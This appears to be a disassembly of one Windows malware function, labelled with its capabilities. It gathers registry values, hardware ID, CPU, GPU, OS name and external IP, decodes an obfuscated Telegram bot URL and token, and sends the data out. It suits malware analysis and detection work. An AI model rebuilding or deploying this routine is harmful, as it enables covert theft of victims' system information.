Function at 0x140027440
Capabilities:
Connect to http server
Create http request
Parse url
Query or enumerate registry value
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x7200
call fcn.14002d2b0
sub rsp, rax
mov rax, qword [0x14017e100]
xor rax, rsp
mov qword [rsp + 0x71f0], rax
lea rax, [rsp + 0x1e8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [0x140060000]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x270], 0x100
mov dword [rsp + 0x274], 0x100
lea rax, [rsp + 0x270]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x850]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140060030]
mov rcx, qword [rsp + 0x1e8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rax, [rsp + 0x274]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x950]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140060048]
mov rcx, qword [rsp + 0x1e8]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x1e8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [0x140060060]
mov qword [rsp + 0x1e0], rax
mov dword [rsp + 0x278], 0xa
lea rax, [rsp + 0x278]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x200]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x200], 0x68
lea rax, [rsp + 0x730]
mov qword [rsp + 0x208], rax
mov dword [rsp + 0x210], 0x10
lea rax, [rsp + 0x32f0]
mov qword [rsp + 0x218], rax
mov dword [rsp + 0x220], 0xfbc
lea rax, [rsp + 0x5270]
mov qword [rsp + 0x248], rax
mov dword [rsp + 0x250], 0xfbc
mov eax, 0x40
mov word [rsp + 0x48], ax
mov dword [rsp + 0xa0], 0x28
mov dword [rsp + 0xa4], 0x34
mov dword [rsp + 0xa8], 0x34
mov dword [rsp + 0xac], 0x30
mov dword [rsp + 0xb0], 0x33
mov dword [rsp + 0xb4], 0xfffffffa
mov dword [rsp + 0xb8], 0xffffffef
mov dword [rsp + 0xbc], 0xffffffef
mov dword [rsp + 0xc0], 0x21
mov dword [rsp + 0xc4], 0x30
mov dword [rsp + 0xc8], 0x29
mov dword [rsp + 0xcc], 0xffffffee
mov dword [rsp + 0xd0], 0x34
mov dword [rsp + 0xd4], 0x25
mov dword [rsp + 0xd8], 0x2c
mov dword [rsp + 0xdc], 0x25
mov dword [rsp + 0xe0], 0x27
mov dword [rsp + 0xe4], 0x32
mov dword [rsp + 0xe8], 0x21
mov dword [rsp + 0xec], 0x2d
mov dword [rsp + 0xf0], 0xffffffee
mov dword [rsp + 0xf4], 0x2f
mov dword [rsp + 0xf8], 0x32
mov dword [rsp + 0xfc], 0x27
mov dword [rsp + 0x100], 0xffffffef
mov dword [rsp + 0x104], 0x22
mov dword [rsp + 0x108], 0x2f
mov dword [rsp + 0x10c], 0x34
mov dword [rsp + 0x4c], 0
jmp 0x140027704
mov eax, dword [rsp + 0x4c]
inc eax
mov dword [rsp + 0x4c], eax
movsxd rax, dword [rsp + 0x4c]
cmp rax, 0x1c
jae 0x140027731
movsxd rax, dword [rsp + 0x4c]
movsx ecx, word [rsp + 0x48]
add ecx, dword [rsp + rax*4 + 0xa0]
mov eax, ecx
movsxd rcx, dword [rsp + 0x4c]
mov word [rsp + rcx*2 + 0x7d0], ax
jmp 0x1400276fa
mov dword [rsp + 0x110], 0xfffffff6
mov dword [rsp + 0x114], 0xfffffff9
mov dword [rsp + 0x118], 0xfffffff9
mov dword [rsp + 0x11c], 0xfffffff3
mov dword [rsp + 0x120], 0xfffffff3
mov dword [rsp + 0x124], 0xfffffff4
mov dword [rsp + 0x128], 0xfffffff2
mov dword [rsp + 0x12c], 0xfffffff1
mov dword [rsp + 0x130], 0xfffffff1
mov dword [rsp + 0x134], 0xfffffff6
mov dword [rsp + 0x138], 0xfffffffa
mov dword [rsp + 0x13c], 1
mov dword [rsp + 0x140], 1
mov dword [rsp + 0x144], 5
mov dword [rsp + 0x148], 0x24
mov dword [rsp + 0x14c], 0x27
mov dword [rsp + 0x150], 0xfffffff1
mov dword [rsp + 0x154], 0x30
mov dword [rsp + 0x158], 0x15
mov dword [rsp + 0x15c], 0x2d
mov dword [rsp + 0x160], 6
mov dword [rsp + 0x164], 0x31
mov dword [rsp + 0x168], 0x14
mov dword [rsp + 0x16c], 0x33
mov dword [rsp + 0x170], 0x11
mov dword [rsp + 0x174], 0x13
mov dword [rsp + 0x178], 0xffffffed
mov dword [rsp + 0x17c], 0x30
mov dword [rsp + 0x180], 0x22
mov dword [rsp + 0x184], 0x29
mov dword [rsp + 0x188], 0x22
mov dword [rsp + 0x18c], 7
mov dword [rsp + 0x190], 0xd
mov dword [rsp + 0x194], 0x30
mov dword [rsp + 0x198], 0x1a
mov dword [rsp + 0x19c], 5
mov dword [rsp + 0x1a0], 0x23
mov dword [rsp + 0x1a4], 0x1f
mov dword [rsp + 0x1a8], 0x11
mov dword [rsp + 0x1ac], 0xfffffff0
mov dword [rsp + 0x1b0], 0x10
mov dword [rsp + 0x1b4], 0xe
mov dword [rsp + 0x1b8], 0x25
mov dword [rsp + 0x1bc], 0x34
mov dword [rsp + 0x1c0], 0x12
mov dword [rsp + 0x1c4], 9
mov dword [rsp + 0x50], 0
jmp 0x14002793f
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
cmp rax, 0x2e
jae 0x14002796c
movsxd rax, dword [rsp + 0x50]
movsx ecx, word [rsp + 0x48]
add ecx, dword [rsp + rax*4 + 0x110]
mov eax, ecx
movsxd rcx, dword [rsp + 0x50]
mov word [rsp + rcx*2 + 0xd50], ax
jmp 0x140027935
lea rdx, [rsp + 0x7d0]
lea rcx, [rsp + 0xf50]
call fcn.14000d890
lea rdx, [rsp + 0xd50]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, str._sendMessage_chat_id
lea rcx, [rsp + 0xf50]
call fcn.14000d860
mov rdx, qword [rsp + 0x1e0]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, str.text
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [0x1400600c0]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, str.TEST
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [0x140060100]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [0x140060158]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, str.__0A_0A
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [rsp + 0x850]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [0x1400601a0]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [rsp + 0x950]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [0x1400601b0]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [0x1400601c0]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rcx, [rsp + 0x290]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
nop
mov dword [rsp + 0x54], 1
jmp 0x140027ac0
mov eax, dword [rsp + 0x54]
inc eax
mov dword [rsp + 0x54], eax
lea rcx, [rsp + 0x294]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
cmp dword [rsp + 0x54], eax
jge 0x140027af6
movsxd rax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x54]
dec ecx
movsxd rcx, ecx
movzx eax, word [rsp + rax*2 + 0x294]
mov word [rsp + rcx*2 + 0xa50], ax
jmp 0x140027ab6
lea rdx, [rsp + 0xa50]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [0x1400601d8]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
mov dword [rsp + 0x6e0], 0xffffffff
lea rax, [rsp + 0x6e4]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov eax, 0x80000000
xor ecx, ecx
cpuid
lea rdi, [rsp + 0x6e0]
mov dword [rdi], eax
mov dword [rdi + 4], ebx
mov dword [rdi + 8], ecx
mov dword [rdi + 0xc], edx
mov eax, 4
imul rax, rax, 0
mov eax, dword [rsp + rax + 0x6e0]
mov dword [rsp + 0x80], eax
lea rax, [rsp + 0x6f0]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov dword [rsp + 0x44], 0x80000000
jmp 0x140027b99
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x80]
cmp dword [rsp + 0x44], eax
ja 0x140027c43
mov eax, dword [rsp + 0x44]
xor ecx, ecx
cpuid
lea rdi, [rsp + 0x6e0]
mov dword [rdi], eax
mov dword [rdi + 4], ebx
mov dword [rdi + 8], ecx
mov dword [rdi + 0xc], edx
cmp dword [rsp + 0x44], 0x80000002
jne 0x140027bee
lea rax, [rsp + 0x6f0]
lea rcx, [rsp + 0x6e0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
jmp 0x140027c3e
cmp dword [rsp + 0x44], 0x80000003
jne 0x140027c17
lea rax, [rsp + 0x700]
lea rcx, [rsp + 0x6e0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
jmp 0x140027c3e
cmp dword [rsp + 0x44], 0x80000004
jne 0x140027c3e
lea rax, [rsp + 0x710]
lea rcx, [rsp + 0x6e0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
jmp 0x140027b8f
mov qword [rsp + 0x70], 0
jmp 0x140027c5b
mov rax, qword [rsp + 0x70]
inc rax
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x6f0]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
cdqe
cmp qword [rsp + 0x70], rax
jae 0x140027c91
mov rax, qword [rsp + 0x70]
movsx ax, byte [rsp + rax + 0x6f0]
mov rcx, qword [rsp + 0x70]
mov word [rsp + rcx*2 + 0xb50], ax
jmp 0x140027c4e
lea rdx, [0x1400601e8]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [rsp + 0xb50]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [0x140060200]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
mov dword [rsp + 0x390], 0x348
xor eax, eax
mov word [rsp + 0x394], ax
lea rax, [rsp + 0x396]
mov rdi, rax
xor eax, eax
mov ecx, 0x342
rep stosb byte [rdi], al
mov r9d, 1
lea r8, [rsp + 0x390]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
mov dword [rsp + 0x1d8], eax
lea rdx, [0x140060210]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [rsp + 0x3d4]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [0x140060228]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
mov dword [rsp + 0x27c], 0x400
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rax, [rsp + 0x27c]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2ef0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, str.ProductName
mov rcx, qword [rsp + 0x1f0]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rdx, [0x1400602b8]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [rsp + 0x2ef0]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, [0x1400602d0]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__rv:61.0__Gecko_20100101_Firefox_61.0
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__myexternalip.com_raw
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rsp + 0x1d0], rax
lea r9, [rsp + 0x280]
mov r8d, 0x80
lea rdx, [rsp + 0x750]
mov rcx, qword [rsp + 0x1d0]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [0x140060368]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
nop
mov qword [rsp + 0x68], 0
jmp 0x140027ec2
mov rax, qword [rsp + 0x68]
inc rax
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x750]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
cdqe
cmp qword [rsp + 0x68], rax
jae 0x140027ef8
mov rax, qword [rsp + 0x68]
movsx ax, byte [rsp + rax + 0x750]
mov rcx, qword [rsp + 0x68]
mov word [rsp + rcx*2 + 0xc50], ax
jmp 0x140027eb5
lea rdx, [rsp + 0xc50]
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, str.__0A
lea rcx, [rsp + 0xf50]
call fcn.14000d860
lea rdx, str.parse_modeMarkdown
lea rcx, [rsp + 0xf50]
call fcn.14000d860
nop
lea rcx, [rsp + 0xf50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rsp + 0x200]
xor r8d, r8d
mov edx, eax
lea rcx, [rsp + 0xf50]
call qword [sym.imp.WININET.dll_InternetCrackUrlW]
mov byte [rsp + 0x40], 1
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
movzx r8d, word [rsp + 0x224]
lea rdx, [rsp + 0x32f0]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetConnectW]
mov qword [rsp + 0x58], rax
movzx eax, byte [rsp + 0x40]
test eax, eax
je 0x140027fe0
mov dword [rsp + 0x64], 0x800000
jmp 0x140027fe8
mov dword [rsp + 0x64], 0
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
bts eax, 0x13
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x38], 0
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x5270]
lea rdx, [0x1400603c0]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov qword [rsp + 0x58], rax
mov r9d, 0x20000000
xor r8d, r8d
lea rdx, [0x14005fd6e]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
nop
cmp qword [rsp + 0x78], 0
je 0x14002809b
mov r9d, 4
mov r8, qword [rsp + 0x78]
mov edx, 5
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov r9d, 4
mov r8, qword [rsp + 0x78]
mov edx, 6
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov dword [rsp + 0x20], 0
lea r9, [0x14005fd6f]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rsp + 0x71f0]
xor rcx, rsp
call fcn.14002cfa0
add rsp, 0x7200
pop rdi
pop rsi
pop rbx
ret